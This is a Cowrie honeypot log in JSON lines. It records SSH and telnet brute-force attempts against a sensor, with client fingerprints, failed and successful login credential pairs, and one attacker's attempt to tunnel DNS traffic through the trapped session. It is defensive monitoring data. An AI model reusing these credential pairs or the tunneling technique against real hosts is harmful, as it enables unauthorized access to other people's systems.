{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:06.131910Z","src_ip":"103.15.226.202","session":"fe376bf60bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:06.389346Z","src_ip":"103.15.226.202","session":"fe376bf60bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:07.139806Z","src_ip":"103.15.226.202","session":"fe376bf60bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:08.386189Z","src_ip":"103.15.226.202","session":"fe376bf60bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.11209678649902,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:25.902578Z","src_ip":"129.232.238.42","session":"7d04db50dd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43026,"dst_ip":"159.203.135.109","dst_port":22,"session":"027e6f30955e","protocol":"ssh","message":"New connection: 2.57.122.208:43026 (159.203.135.109:22) [session: 027e6f30955e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:35.937083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:36.030050Z","src_ip":"2.57.122.208","session":"027e6f30955e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:36.124490Z","src_ip":"2.57.122.208","session":"027e6f30955e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:36.926209Z","src_ip":"2.57.122.208","session":"027e6f30955e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:38.138345Z","src_ip":"2.57.122.208","session":"027e6f30955e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":60670,"dst_ip":"159.203.135.109","dst_port":22,"session":"af133731f74f","protocol":"ssh","message":"New connection: 20.82.144.240:60670 (159.203.135.109:22) [session: af133731f74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:49.265640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:49.270115Z","src_ip":"20.82.144.240","session":"af133731f74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:49.340055Z","src_ip":"20.82.144.240","session":"af133731f74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steam","message":"login attempt [steamcmd/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:49.639735Z","src_ip":"20.82.144.240","session":"af133731f74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:50.711095Z","src_ip":"20.82.144.240","session":"af133731f74f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.210.39.127","src_port":54076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9afe9a7d998c","protocol":"telnet","message":"New connection: 165.210.39.127:54076 (10.17.0.5:23) [session: 9afe9a7d998c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:11.161040Z"}
{"eventid":"cowrie.session.closed","duration":12.060659408569336,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:23.221421Z","src_ip":"165.210.39.127","session":"9afe9a7d998c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13302,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d6fec36c29","protocol":"ssh","message":"New connection: 87.251.64.176:13302 (10.17.0.5:22) [session: d4d6fec36c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.160718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.165438Z","src_ip":"87.251.64.176","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.261844Z","src_ip":"87.251.64.176","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.565404Z","src_ip":"87.251.64.176","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.665343Z","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.774257Z","src_ip":"87.251.64.176","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:37.875172Z","src_ip":"87.251.64.176","session":"d4d6fec36c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":49408,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3d4def1fb33","protocol":"ssh","message":"New connection: 20.82.144.240:49408 (159.203.135.109:22) [session: f3d4def1fb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:44.063510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:44.068560Z","src_ip":"20.82.144.240","session":"f3d4def1fb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:44.137459Z","src_ip":"20.82.144.240","session":"f3d4def1fb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"michael","message":"login attempt [ftpuser/michael] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:44.438437Z","src_ip":"20.82.144.240","session":"f3d4def1fb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:40:45.510190Z","src_ip":"20.82.144.240","session":"f3d4def1fb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":38150,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d315785de21","protocol":"ssh","message":"New connection: 20.82.144.240:38150 (159.203.135.109:22) [session: 2d315785de21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:41:38.466401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:41:38.470455Z","src_ip":"20.82.144.240","session":"2d315785de21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:41:38.537276Z","src_ip":"20.82.144.240","session":"2d315785de21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd12345","message":"login attempt [ubuntu/asd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:41:38.836476Z","src_ip":"20.82.144.240","session":"2d315785de21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:41:39.908604Z","src_ip":"20.82.144.240","session":"2d315785de21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":55136,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94a1751228e","protocol":"ssh","message":"New connection: 20.82.144.240:55136 (159.203.135.109:22) [session: d94a1751228e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:33.280820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:33.285382Z","src_ip":"20.82.144.240","session":"d94a1751228e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:33.352175Z","src_ip":"20.82.144.240","session":"d94a1751228e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin198988!@_@!","message":"login attempt [root/admin198988!@_@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:33.648735Z","src_ip":"20.82.144.240","session":"d94a1751228e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:34.722576Z","src_ip":"20.82.144.240","session":"d94a1751228e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54596,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f4cea6a574","protocol":"ssh","message":"New connection: 103.15.226.202:54596 (10.17.0.5:22) [session: 13f4cea6a574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:42.577668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:42.582672Z","src_ip":"103.15.226.202","session":"13f4cea6a574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:42.831689Z","src_ip":"103.15.226.202","session":"13f4cea6a574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avon","message":"login attempt [root/avon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:42:43.576347Z","src_ip":"103.15.226.202","session":"13f4cea6a574","protocol":"ssh"}
